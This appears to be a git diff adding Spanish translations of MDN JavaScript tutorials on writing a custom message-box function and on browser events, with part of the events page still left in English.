+  <p>En esta demostración, obtendremos el cuadro de mensaje que aparecerá cuando el usuario haga clic en el botón.</p>
+ </li>
+ <li>Elimina la línea anterior que agregaste.</li>
+ <li>A continuación, seleccionaremos el botón y guardaremos una referencia a él en una variable. Agregue la siguiente línea a su código, encima de la definición de la función:
+  <pre class="brush: js">let btn = document.querySelector('button');</pre>
+ </li>
+ <li>Finalmente, agregue la siguiente línea debajo de la anterior:
+  <pre class="brush: js">btn.onclick = displayMessage;</pre>
+  De una forma similar que nuestra línea dentro de la función <code>closeBtn.onclick...</code>, aquí estamos llamando a algún código en respuesta a un botón al hacer clic. Pero en este caso, en lugar de llamar a una función anónima que contiene algún código, estamos llamando directamente a nuestro nombre de función.</li>
+ <li>Intente guardar y actualizar la página: ahora debería ver aparecer el cuadro de mensaje cuando hace clic en el botón.</li>
+</ol>
+
+<p>Quizás te estés preguntando por qué no hemos incluido los paréntesis después del nombre de la función. Esto se debe a que no queremos llamar a la función inmediatamente, solo después de hacer clic en el botón. Si intentas cambiar la línea a</p>
+
+<pre class="brush: js">btn.onclick = displayMessage();</pre>
+
+<p>y al guardar y volver a cargar, verás que aparece el cuadro de mensaje sin hacer clic en el botón. Los paréntesis en este contexto a veces se denominan "operador de invocación de función". Solo los utiliza cuando desea ejecutar la función inmediatamente en el ámbito actual. Del mismo modo, el código dentro de la función anónima no se ejecuta inmediatamente, ya que está dentro del alcance de la función.</p>
+
+<p>Si has intentado el último experimento, asegúrate de deshacer el último cambio antes de continuar.</p>
+
+<h2 id="Mejora_de_la_función_con_parámetros.">Mejora de la función con parámetros.</h2>
+
+<p>Tal como está, la función aún no es muy útil, no queremos mostrar el mismo mensaje predeterminado cada vez. Mejoremos nuestra función agregando algunos parámetros, permitiéndonos llamarla con algunas opciones diferentes.</p>
+
+<ol>
+ <li>En primer lugar, actualice la primera línea de la función:
+  <pre class="brush: js">function displayMessage() {</pre>
+  to this:
+
+  <pre class="brush: js">function displayMessage(msgText, msgType) {</pre>
+  Ahora, cuando llamamos a la función, podemos proporcionar dos valores variables dentro de los paréntesis para especificar el mensaje que se mostrará en el cuadro de mensaje y el tipo de mensaje que es.</li>
+ <li>Para utilizar el primer parámetro, actualiza la siguiente línea dentro de su función:
+  <pre class="brush: js">msg.textContent = 'This is a message box';</pre>
+  to
+
+  <pre class="brush: js">msg.textContent = msgText;</pre>
+ </li>
+ <li>Por último, pero no menos importante, ahora necesita actualizar su llamada de función para incluir un texto de mensaje actualizado. Cambia la siguiente línea:
+  <pre class="brush: js">btn.onclick = displayMessage;</pre>
+  to this block:
+
+  <pre class="brush: js">btn.onclick = function() {
+  displayMessage('Woo, this is a different message!');
+};</pre>
+  Si queremos especificar parámetros dentro de paréntesis para la función a la que estamos llamando, no podemos llamarla directamente, necesitamos colocarla dentro de una función anónima para que no esté en el ámbito inmediato y, por lo tanto, no se llame de inmediato. Ahora no se llamará hasta que se haga clic en el botón.</li>
+ <li>Vuelva a cargar e intenta el código nuevamente y verás que aún funciona bien, ¡excepto que ahora también puede variar el mensaje dentro del parámetro para obtener diferentes mensajes mostrados en el cuadro!</li>
+</ol>
+
+<h3 id="Un_parámetro_más_complejo.">Un parámetro más complejo.</h3>
+
+<p>En el siguiente parámetro. Este va a implicar un poco más de trabajo: lo configuraremos de modo que, dependiendo de la configuración del parámetro msgType, la función mostrará un icono diferente y un color de fondo diferente.</p>
+
+<ol>
+ <li>En primer lugar, descargue los iconos necesarios para este ejercicio (<a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/warning.png">warning</a> y <a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/chat.png">chat</a>) de GitHub. Guárdalos en una nueva carpeta llamada <code>icons</code> en la misma localización que tu HTML.
+
+  <div class="note"><strong>Nota</strong>: los iconos <a href="https://www.iconfinder.com/icons/1031466/alarm_alert_error_warning_icon">warning</a> y <a href="https://www.iconfinder.com/icons/1031441/chat_message_text_icon">chat</a> que se encuentran en iconfinder.com, han sido diseñados por <a href="https://www.iconfinder.com/nazarr">Nazarrudin Ansyari</a>. Gracias!</div>
+ </li>
+ <li>A continuación, encuentra el CSS dentro de tu archivo HTML. Haremos algunos cambios para dar paso a los iconos. Primero, actualiza el ancho de .msgBox desde:
+  <pre class="brush: css">width: 200px;</pre>
+  to
+
+  <pre class="brush: css">width: 242px;</pre>
+ </li>
+ <li>Luego, añade las siguientes líneas dentro de la regla<code>.msgBox p { ... }</code>:
+  <pre class="brush: css">padding-left: 82px;
+background-position: 25px center;
+background-repeat: no-repeat;</pre>
+ </li>
+ <li>Ahora necesitamos añadir código a la función <code>displayMessage()</code> para manejar la visualización de los iconos. Agrega el siguiente bloque justo encima de la llave de cierre (<code>}</code>) de tu función :
+  <pre class="brush: js">if (msgType === 'warning') {
+  msg.style.backgroundImage = 'url(icons/warning.png)';
+  panel.style.backgroundColor = 'red';
+} else if (msgType === 'chat') {
+  msg.style.backgroundImage = 'url(icons/chat.png)';
+  panel.style.backgroundColor = 'aqua';
+} else {
+  msg.style.paddingLeft = '20px';
+}</pre>
+ </li>
+ <li>Aquí, si el parámetro <code>msgType</code> se establece como <code>'warning'</code>, se muestra el icono de advertencia y el color de fondo del panel se establece en rojo. Si se establece en <code>'chat'</code>, se muestra el icono de chat y el color de fondo del panel se establece en azul aguamarina. Si el parámetro <code>msgType</code> no está configurado en absoluto (o en algo diferente), entonces la parte <code>else { ... }</code> del código entra en juego, y al párrafo simplemente se le da un relleno predeterminado y ningún icono, sin el conjunto de colores del panel de fondo ya sea. Esto proporciona un estado predeterminado si no se proporciona ningún parámetro <code>msgType</code> , lo que significa que es un parámetro opcional.</li>
+ <li>Vamos a probar nuestra función actualizada , prueba a actualizar la llamada a <code>displayMessage()</code> con esto:
+  <pre class="brush: js">displayMessage('Woo, this is a different message!');</pre>
+  to one of these:
+
+  <pre class="brush: js">displayMessage('Your inbox is almost full — delete some mails', 'warning');
+displayMessage('Brian: Hi there, how are you today?','chat');</pre>
+  Puedes ver cuán útil se está volviendo nuestra (ahora no tan) poca función.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Si estas teniendo problemas con el ejemplo, sientente libre para coger el ejemplo para trabajar con él, <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html">finished version on GitHub</a> (<a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-stage-4.html">see it running live</a> también), o pídenos ayuda.</p>
+</div>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>¡Felicidades por llegar al final! Este artículo lo llevó a través de todo el proceso de creación de una función personalizada y práctica, que con un poco más de trabajo podría trasplantarse en un proyecto real. En el siguiente artículo resumiremos las funciones explicando otro concepto esencial relacionado: valores de retorno.</p>
+
+<ul>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Function return values</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></li>
+</ul>
diff --git a/files/es/learn/javascript/building_blocks/eventos/index.html b/files/es/learn/javascript/building_blocks/eventos/index.html
new file mode 100644
index 0000000000..7bdb81768a
--- /dev/null
+++ b/files/es/learn/javascript/building_blocks/eventos/index.html
@@ -0,0 +1,578 @@
+---
+title: Introducción a eventos
+slug: Learn/JavaScript/Building_blocks/Eventos
+translation_of: Learn/JavaScript/Building_blocks/Events
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Return_values","Learn/JavaScript/Building_blocks/Image_gallery", "Learn/JavaScript/Building_blocks")}}</div>
+
+<p class="summary">Los eventos son acciones u ocurrencias que suceden en el sistema que está programando y que el sistema le informa para que pueda responder de alguna manera si lo desea. Por ejemplo, si el usuario hace clic en un botón en una página web, es posible que desee responder a esa acción mostrando un cuadro de información. En este artículo, discutiremos algunos conceptos importantes que rodean los eventos y veremos cómo funcionan en los navegadores. Este no será un estudio exhaustivo; solo lo que necesitas saber en esta etapa.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, entendimiento básico de HTML y CSS, <a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps">Primeros pasos con JavaScript</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender la teoría fundamental de los eventos, cómo funcionan en los navegadores y cómo los eventos pueden diferir en distintos entornos de programación.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Una_serie_de_eventos_afortunados">Una serie de eventos afortunados</h2>
+
+<p>Como se mencionó anteriormente, los <strong>eventos</strong> son acciones u ocurrencias que suceden en el sistema que está programando — el sistema disparará una señal de algún tipo cuando un evento ocurra y también proporcionará un mecanismo por el cual se puede tomar algún tipo de acción automáticamente (p.e., ejecutando algún código) cuando se produce el evento. Por ejemplo, en un aeropuerto cuando la pista está despejada para que despegue un avión, se comunica una señal al piloto y, como resultado, comienzan a pilotar el avión.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14077/MDN-mozilla-events-runway.png" style="display: block; margin: 0px auto;"></p>
+
+<p>En el caso de la Web, los eventos se desencadenan dentro de la ventana del navegador y tienden a estar unidos a un elemento específico que reside en ella — podría ser un solo elemento, un conjunto de elementos, el documento HTML cargado en la pestaña actual o toda la ventana del navegador. Hay muchos tipos diferentes de eventos que pueden ocurrir, por ejemplo:</p>
+
+<ul>
+ <li>El usuario hace clic con el mouse sobre un elemento determinado o coloca el cursor sobre un elemento determinado.</li>
+ <li>El usuario presiona una tecla en el teclado.</li>
+ <li>El usuario cambia el tamaño o cierra la ventana del navegador.</li>
+ <li>Una página web termina de cargar.</li>
+ <li>Un formulario se envía</li>
+ <li>Un video se reproduce, pausa o finaliza la reproducción.</li>
+ <li>Un error ocurre.</li>
+</ul>
+
+<p>Se deducirá de esto (y echar un vistazo a MDN <a href="https://developer.mozilla.org/es/docs/Web/Events">Referencia de eventos</a>) que hay <strong>muchos</strong> eventos a los que se puede responder.</p>
+
+<p>Cada evento disponible tiene un <strong>controlador de eventos</strong>, que es un bloque de código (generalmente una función JavaScript definida por el usuario) que se ejecutará cuando se active el evento. Cuando dicho bloque de código se define para ejecutarse en respuesta a un disparo de evento, decimos que estamos <strong>registrando un controlador de eventos</strong>. Tenga en cuenta que los controladores de eventos a veces se llaman <strong>oyentes de eventos</strong> — son bastante intercambiables para nuestros propósitos, aunque estrictamente hablando, trabajan juntos. El oyente escucha si ocurre el evento y el controlador es el código que se ejecuta en respuesta a que ocurra.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Es útil tener en cuenta que los eventos web no son parte del lenguaje central de JavaScript: se definen como parte de las API integradas en el navegador.</p>
+</div>
+
+<h3 id="Un_ejemplo_simple">Un ejemplo simple</h3>
+
+<p>Veamos un ejemplo simple para explicar lo que queremos decir aquí. Ya has visto eventos y controladores de eventos en muchos de los ejemplos de este curso, pero vamos a recapitular solo para consolidar nuestro conocimiento. En el siguiente ejemplo, tenemos un solo {{htmlelement ("button")}}, que cuando se presiona, hará que el fondo cambie a un color aleatorio:</p>
+
+<pre class="brush: html notranslate">&lt;button&gt;Cambiar color&lt;/button&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">button { margin: 10px };</pre>
+</div>
+
+<p>El JavaScript se ve así:</p>
+
+<pre class="brush: js notranslate">const btn = document.querySelector('button');
+
+function random(number) {
+  return Math.floor(Math.random() * (number+1));
+}
+
+btn.onclick = function() {
+  const rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  document.body.style.backgroundColor = rndCol;
+}</pre>
+
+<p>En este código, almacenamos una referencia al botón dentro de una variable llamada <code>btn</code>, usando la función {{domxref ("Document.querySelector ()")}}. También definimos una función que devuelve un número aleatorio. La tercera parte del código es el controlador de eventos. La variable <code>btn</code> apunta a un elemento <code>&lt;button&gt;</code>, y este tipo de objeto tiene una serie de eventos que pueden activarse y, por lo tanto, los controladores de eventos están disponibles. Estamos escuchando el disparo del evento "click", estableciendo la propiedad del controlador de eventos <code>onclick</code> para que sea igual a una función anónima que contiene código que generó un color RGB aleatorio y establece el <code>&lt;body&gt;</code> color de fondo igual a este.</p>
+
+<p>Este código ahora se ejecutará cada vez que se active el evento "click" en el elemento <code>&lt;button&gt;</code>, es decir, cada vez que un usuario haga clic en él.</p>
+
+<p>El resultado de ejemplo es el siguiente:</p>
+
+<p>{{ EmbedLiveSample('A_simple_example', '100%', 200, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="No_son_solo_páginas_web">No son solo páginas web</h3>
+
+<p>Otra cosa que vale la pena mencionar en este punto es que los eventos no son particulares de JavaScript — la mayoría de los lenguajes de programación tienen algún tipo de modelo de eventos, y la forma en que funciona a menudo diferirá de la forma en que funciona en JavaScript. De hecho, el modelo de eventos en JavaScript para páginas web difiere del modelo de eventos para JavaScript, ya que se utiliza en otros entornos.</p>
+
+<p>Por ejemplo, <a href="/en-US/docs/Learn/Server-side/Express_Nodejs">Node.js</a> es un entorno en tiempo de ejecución de JavaScript muy popular que permite a los desarrolladores usar JavaScript para crear aplicaciones de red y del lado del servidor. El <a href="https://nodejs.org/docs/latest-v5.x/api/events.html">modelo de eventos de Node.js</a> se basa en que los oyentes (<em>listeners</em>) escuchen eventos y los emisores (<em>emitters</em>) emitan eventos periódicamente — no suena tan diferentes, pero el código es bastante diferente, haciendo uso de funciones como <code>on()</code> para registrar un oyente de eventos, y <code>once()</code> para registrar un oyente de eventos que anula el registro después de que se haya ejecutado una vez. The <a href="https://nodejs.org/docs/latest-v8.x/api/http.html#http_event_connect">documentos de eventos de conexión HTTP</a> proporcionan un buen ejemplo de uso.</p>
+
+<p>Como otro ejemplo, ahora también puede usar JavaScript para crear complementos de navegadores — mejoras de funcionalidad del navegador — utilizando una tecnología llamada <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">WebExtensions</a>. El modelo de eventos es similar al modelo de eventos web, pero un poco diferente — las propiedades de los oyentes de eventos se escriben en <em>camel-case</em> (ej. <code>onMessage</code> en lugar de <code>onmessage</code>), y deben combinarse con la función <code>addListener</code>. Consulte la página <a href="/en-US/Add-ons/WebExtensions/API/runtime/onMessage#Examples">runtime.onMessage </a>para ver un ejemplo.</p>
+
+<p>No necesita comprender nada sobre otros entornos en esta etapa de su aprendizaje; solo queríamos dejar en claro que los eventos pueden diferir en diferentes entornos de programación.</p>
+
+<h2 id="Diferentes_formas_de_uso_de_eventos">Diferentes formas de uso de eventos</h2>
+
+<p>Hay muchas maneras distintas en las que puedes agregar event listeners a los sitios web, que se ejecutara cuando el evento asociado se dispare. En esta sección, revisaremos los diferentes mecanismos y discutiremos cuales deberias usar..</p>
+
+<h3 id="Propiedades_de_manejadores_de_eventos">Propiedades de manejadores de eventos</h3>
+
+<p>Estas son las propiedades que existen, que contienen codigo de manejadores de eventos(Event Handler)  que vemos frecuentemente durante el curso.. Volviendo al ejemplo de arriba:</p>
+
+<pre class="brush: js notranslate">var btn = document.querySelector('button');
+
+btn.onclick = function() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  document.body.style.backgroundColor = rndCol;
+}</pre>
+
+<p>La propiedad <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onclick">onclick</a></code> es la propiedad del manejador de eventos que está siendo usada en esta situación. Es escencialmente una propiedad como cualquier otra disponible en el botón (por ejemplo: <code><a href="/en-US/docs/Web/API/Node/textContent">btn.textContent</a></code>, or <code><a href="/en-US/docs/Web/API/HTMLElement/style">btn.style</a></code>), pero es de un tipo especial — cuando lo configura para ser igual a algún código, ese código se ejecutará cuando el evento se dispare en el botón.</p>
+
+<p>You could also set the handler property to be equal to a named function name (like we saw in <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a>). The following would work just the same:</p>
+
+<pre class="brush: js notranslate">var btn = document.querySelector('button');
+
+function bgChange() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  document.body.style.backgroundColor = rndCol;
+}
+
+btn.onclick = bgChange;</pre>
+
+<p>There are many different event handler properties available. Let's do an experiment.</p>
+
+<p>First of all, make a local copy of <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerproperty.html">random-color-eventhandlerproperty.html</a>, and open it in your browser. It's just a copy of the simple random color example we've been playing with already in this article. Now try changing <code>btn.onclick</code> to the following different values in turn, and observing the results in the example:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onfocus">btn.onfocus</a></code> and <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onblur">btn.onblur</a></code> — The color will change when the button is focused and unfocused (try pressing tab to tab on to the button and off again). These are often used to display information about how to fill in form fields when they are focused, or display an error message if a form field has just been filled in with an incorrect value.</li>
+ <li><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/ondblclick">btn.ondblclick</a></code> — The color will change only when it is double-clicked.</li>
+ <li><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeypress">window.onkeypress</a></code>, <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">window.onkeydown</a></code>, <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">window.onkeyup</a></code> — The color will change when a key is pressed on the keyboard. <code>keypress</code> refers to a general press (button down and then up), while <code>keydown</code> and <code>keyup</code> refer to just the key down and key up parts of the keystroke, respectively. Note that it doesn't work if you try to register this event handler on the button itself — we've had to register it on the <a href="/en-US/docs/Web/API/Window">window</a> object, which represents the entire browser window.</li>
+ <li><code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onmouseover">btn.onmouseover</a></code> and <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/onmouseout">btn.onmouseout</a></code> — The color will change when the mouse pointer is moved so it begins hovering over the button, or when it stops hovering over the button and moves off of it, respectively.</li>
+</ul>
+
+<p>Some events are very general and available nearly anywhere (for example an <code>onclick</code> handler can be registered on nearly any element), whereas some are more specific and only useful in certain situations (for example it makes sense to use <a href="/en-US/docs/Web/API/GlobalEventHandlers/GlobalEventHandlers.onplay">onplay</a> only on specific elements, such as {{htmlelement("video")}}).</p>
+
+<h3 id="Inline_event_handlers_—_dont_use_these">Inline event handlers — don't use these</h3>
+
+<p>You might also see a pattern like this in your code:</p>
+
+<pre class="brush: html notranslate">&lt;button onclick="bgChange()"&gt;Press me&lt;/button&gt;
+</pre>
+
+<pre class="brush: js notranslate">function bgChange() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  document.body.style.backgroundColor = rndCol;
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can find the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventhandlerattributes.html">full source code</a> for this example on GitHub (also <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventhandlerattributes.html">see it running live</a>).</p>
+</div>
+
+<p>The earliest method of registering event handlers found on the Web involved <strong>event handler HTML attributes</strong> (aka <strong>inline event handlers</strong>) like the one shown above — the attribute value is literally the JavaScript code you want to run when the event occurs. The above example invokes a function defined inside a {{htmlelement("script")}} element on the same page, but you could also insert JavaScript directly inside the attribute, for example:</p>
+
+<pre class="brush: html notranslate">&lt;button onclick="alert('Hello, this is my old-fashioned event handler!');"&gt;Press me&lt;/button&gt;</pre>
+
+<p>You'll find HTML attribute equivalents for many of the event handler properties; however, you shouldn't use these — they are considered bad practice. It might seem easy to use an event handler attribute if you are just doing something really quick, but they very quickly become unmanageable and inefficient.</p>
+
+<p>For a start, it is not a good idea to mix up your HTML and your JavaScript, as it becomes hard to parse — keeping your JavaScript all in one place is better; if it is in a separate file you can apply it to multiple HTML documents.</p>
+
+<p>Even in a single file, inline event handlers are not a good idea. One button is OK, but what if you had 100 buttons? You'd have to add 100 attributes to the file; it would very quickly turn into a maintenance nightmare. With JavaScript, you could easily add an event handler function to all the buttons on the page no matter how many there were, using something like this:</p>
+
+<pre class="brush: js notranslate">var buttons = document.querySelectorAll('button');
+
+for (var i = 0; i &lt; buttons.length; i++) {
+  buttons[i].onclick = bgChange;
+}</pre>
+
+<p class="brush: js">Note that another option here would be to use the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach">forEach()</a></code> built-in method available on all Array objects:</p>
+
+<pre class="brush: js notranslate">buttons.forEach(function(button) {
+  button.onclick = bgChange;
+});</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Separating your programming logic from your content also makes your site more friendly to search engines.</p>
+</div>
+
+<h3 id="addEventListener_and_removeEventListener">addEventListener() and removeEventListener()</h3>
+
+<p>The newest type of event mechanism is defined in the <a href="https://www.w3.org/TR/DOM-Level-2-Events/">Document Object Model (DOM) Level 2 Events</a> Specification, which provides browsers with a new function — <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code>. This functions in a similar way to the event handler properties, but the syntax is obviously different. We could rewrite our random color example to look like this:</p>
+
+<pre class="brush: js notranslate">var btn = document.querySelector('button');
+
+function bgChange() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  document.body.style.backgroundColor = rndCol;
+}
+
+btn.addEventListener('click', bgChange);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can find the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-addeventlistener.html">full source code</a> for this example on GitHub (also <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-addeventlistener.html">see it running live</a>).</p>
+</div>
+
+<p>Inside the <code>addEventListener()</code> function, we specify two parameters — the name of the event we want to register this handler for, and the code that comprises the handler function we want to run in response to it. Note that it is perfectly appropriate to put all the code inside the <code>addEventListener()</code> function, in an anonymous function, like this:</p>
+
+<pre class="brush: js notranslate">btn.addEventListener('click', function() {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  document.body.style.backgroundColor = rndCol;
+});</pre>
+
+<p>This mechanism has some advantages over the older mechanisms discussed earlier. For a start, there is a counterpart function, <code><a href="/en-US/docs/Web/API/EventTarget/removeEventListener">removeEventListener()</a></code>, which removes a previously added listener. For example, this would remove the listener set in the first code block in this section:</p>
+
+<pre class="brush: js notranslate">btn.removeEventListener('click', bgChange);</pre>
+
+<p>This isn't significant for simple, small programs, but for larger, more complex programs it can improve efficiency to clean up old unused event handlers. Plus, for example, this allows you to have the same button performing different actions in different circumstances — all you've got to do is add/remove event handlers as appropriate.</p>
+
+<p>Second, you can also register multiple handlers for the same listener. The following two handlers would not be applied:</p>
+
+<pre class="brush: js notranslate">myElement.onclick = functionA;
+myElement.onclick = functionB;</pre>
+
+<p>As the second line would overwrite the value of <code>onclick</code> set by the first. This would work, however:</p>
+
+<pre class="brush: js notranslate">myElement.addEventListener('click', functionA);
+myElement.addEventListener('click', functionB);</pre>
+
+<p>Both functions would now run when the element is clicked.</p>
+
+<p>In addition, there are a number of other powerful features and options available with this event mechanism. These are a little out of scope for this article, but if you want to read up on them, have a look at the <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> and <code><a href="/en-US/docs/Web/API/EventTarget/removeEventListener">removeEventListener()</a></code> reference pages.</p>
+
+<h3 id="What_mechanism_should_I_use">What mechanism should I use?</h3>
+
+<p>Of the three mechanisms, you definitely shouldn't use the HTML event handler attributes — these are outdated, and bad practice, as mentioned above.</p>
+
+<p>The other two are relatively interchangeable, at least for simple uses:</p>
+
+<ul>
+ <li>Event handler properties have less power and options, but better cross-browser compatibility (being supported as far back as Internet Explorer 8). You should probably start with these as you are learning.</li>
+ <li>DOM Level 2 Events (<code>addEventListener()</code>, etc.) are more powerful, but can also become more complex and are less well supported (supported as far back as Internet Explorer 9). You should also experiment with these, and aim to use them where possible.</li>
+</ul>
+
+<p>The main advantages of the third mechanism are that you can remove event handler code if needed, using <code>removeEventListener()</code>, and you can add multiple listeners of the same type to elements if required. For example, you can call <code>addEventListener('click', function() { ... })</code> on an element multiple times, with different functions specified in the second argument. This is impossible with event handler properties because any subsequent attempts to set a property will overwrite earlier ones, e.g.:</p>
+
+<pre class="brush: js notranslate">element.onclick = function1;
+element.onclick = function2;
+etc.</pre>
+
+<div class="note">
+<p><strong>Note</strong>: If you are called upon to support browsers older than Internet Explorer 8 in your work, you may run into difficulties, as such ancient browsers use different event models from newer browsers. But never fear, most JavaScript libraries (for example <code>jQuery</code>) have built-in functions that abstract away cross-browser differences. Don't worry about this too much at this stage in your learning journey.</p>
+</div>
+
+<h2 id="Other_event_concepts">Other event concepts</h2>
+
+<p>In this section, we will briefly cover some advanced concepts that are relevant to events. It is not important to understand these fully at this point, but it might serve to explain some code patterns you'll likely come across from time to time.</p>
+
+<h3 id="Event_objects">Event objects</h3>
+
+<p>Sometimes inside an event handler function, you might see a parameter specified with a name such as <code>event</code>, <code>evt</code>, or simply <code>e</code>. This is called the <strong>event object</strong>, and it is automatically passed to event handlers to provide extra features and information. For example, let's rewrite our random color example again slightly:</p>
+
+<pre class="brush: js notranslate">function bgChange(e) {
+  var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+  e.target.style.backgroundColor = rndCol;
+  console.log(e);
+}
+
+btn.addEventListener('click', bgChange);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can find the <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/random-color-eventobject.html">full source code</a> for this example on GitHub (also <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/random-color-eventobject.html">see it running live</a>).</p>
+</div>
+
+<p>Here you can see that we are including an event object, <strong>e</strong>, in the function, and in the function setting a background color style on <code>e.target</code> — which is the button itself. The <code>target</code> property of the event object is always a reference to the element that the event has just occurred upon. So in this example, we are setting a random background color on the button, not the page.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can use any name you like for the event object — you just need to choose a name that you can then use to reference it inside the event handler function. <code>e</code>/<code>evt</code>/<code>event</code> are most commonly used by developers because they are short and easy to remember. It's always good to stick to a standard.</p>
+</div>
+
+<p><code>e.target</code> is incredibly useful when you want to set the same event handler on multiple elements and do something to all of them when an event occurs on them. You might, for example, have a set of 16 tiles that disappear when they are clicked on. It is useful to always be able to just set the thing to disappear as <code>e.target</code>, rather than having to select it in some more difficult way. In the following example (see <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/events/useful-eventtarget.html">useful-eventtarget.html</a> for the full source code; also see it <a href="http://mdn.github.io/learning-area/javascript/building-blocks/events/useful-eventtarget.html">running live</a> here), we create 16 {{htmlelement("div")}} elements using JavaScript. We then select all of them using {{domxref("document.querySelectorAll()")}}, then loop through each one, adding an <code>onclick</code> handler to each that makes it so that a random color is applied to each one when clicked:</p>
+
+<pre class="brush: js notranslate">var divs = document.querySelectorAll('div');
+
+for (var i = 0; i &lt; divs.length; i++) {
+  divs[i].onclick = function(e) {
+    e.target.style.backgroundColor = bgChange();
+  }
+}</pre>
+
+<p>The output is as follows (try clicking around on it — have fun):</p>
+
+<div class="hidden">
+<h6 id="Hidden_example">Hidden example</h6>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Useful event target example&lt;/title&gt;
+    &lt;style&gt;
+      div {
+        height: 100px;
+        width: 25%;
+        float: left;
+      }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;script&gt;
+      for (var i = 1; i &lt;= 16; i++) {
+        var myDiv = document.createElement('div');
+        myDiv.style.backgroundColor = "red";
+        document.body.appendChild(myDiv);
+      }
+
+      function random(number) {
+        return Math.floor(Math.random()*number);
+      }
+
+      function bgChange() {
+        var rndCol = 'rgb(' + random(255) + ',' + random(255) + ',' + random(255) + ')';
+        return rndCol;
+      }
+
+      var divs = document.querySelectorAll('div');
+
+      for (var i = 0; i &lt; divs.length; i++) {
+        divs[i].onclick = function(e) {
+          e.target.style.backgroundColor = bgChange();
+        }
+      }
+    &lt;/script&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_example', '100%', 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>Most event handlers you'll encounter just have a standard set of properties and functions (methods) available on the event object (see the {{domxref("Event")}} object reference for a full list). Some more advanced handlers, however, add specialist properties containing extra data that they need to function. The <a href="/en-US/docs/Web/API/MediaRecorder_API">Media Recorder API</a>, for example, has a <code>dataavailable</code> event, which fires when some audio or video has been recorded and is available for doing something with (for example saving it, or playing it back). The corresponding <a href="/en-US/docs/Web/API/MediaRecorder/ondataavailable">ondataavailable</a> handler's event object has a <code>data</code> property available containing the recorded audio or video data to allow you to access it and do something with it.</p>
+
